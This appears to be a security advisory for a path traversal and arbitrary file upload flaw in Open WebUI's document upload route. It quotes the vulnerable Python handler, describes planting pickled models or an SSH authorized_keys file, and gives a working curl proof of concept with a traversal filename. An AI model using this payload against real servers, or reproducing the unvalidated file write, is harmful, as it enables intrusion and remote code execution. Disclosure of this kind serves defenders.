Open WebUI Vulnerable to Arbitrary File Upload and Path Traversal
GHSA-9pgh-j74g-qj6m · CVE-2026-44566 · PYSEC-2026-2717 · 갱신 2026. 7. 14.
영향 받는 패키지
| 생태계 | 패키지 | 수정 버전 |
|---|---|---|
| PyPI | open-webui | 0.1.124 |
GHSA-9pgh-j74g-qj6m · CVE-2026-44566 · PYSEC-2026-2717 · 갱신 2026. 7. 14.
| 생태계 | 패키지 | 수정 버전 |
|---|---|---|
| PyPI | open-webui | 0.1.124 |
This can be visualized by examining the python code for the /rag/api/v1/doc API route:
@app.post("/doc")
def store_doc(
collection_name: Optional[str] = Form(None),
file: UploadFile = File(...),
user=Depends(get_current_user),
):
# "https://www.gutenberg.org/files/1727/1727-h/1727-h.htm"
print(file.content_type)
try:
filename = file.filename
file_path = f"{UPLOAD_DIR}/{filename}"
contents = file.file.read()
with open(file_path, "wb") as f:
f.write(contents)
f.close()
The file variable is a representation of the multipart form data contained within the HTTP POST request. The filename variable is derived from the uploaded file name and is not validated before writing the file contents to disk.
This can be used to upload malicious models. These models are often distributed as pickled python objects and can be leveraged to execute arbitrary python bytecode once deserialized. Alternatively, an attacker can leverage existing services, such as SSH, to upload an attacker controlled authorized_keys file to remotely connect to the machine.
Execute the following cURL command:
TARGET_URI='https://redacted.com'; JWT='redacted'; LOCAL_FILE='/tmp/file_to_upload.txt'\
curl -H "Authorization: Bearer $JWT" -F "file=$LOCAL_FILE;filename=../../../../../../../../../../tmp/pwned.txt" "$TARGET_URI/rag/api/v1/doc"
Verify the file pwned.txt exists in the /tmp/ directory on the machine hosting the web server:
ollama@webserver:~$ cat /tmp/pwned.txt
korelogic
ollama@webserver:~$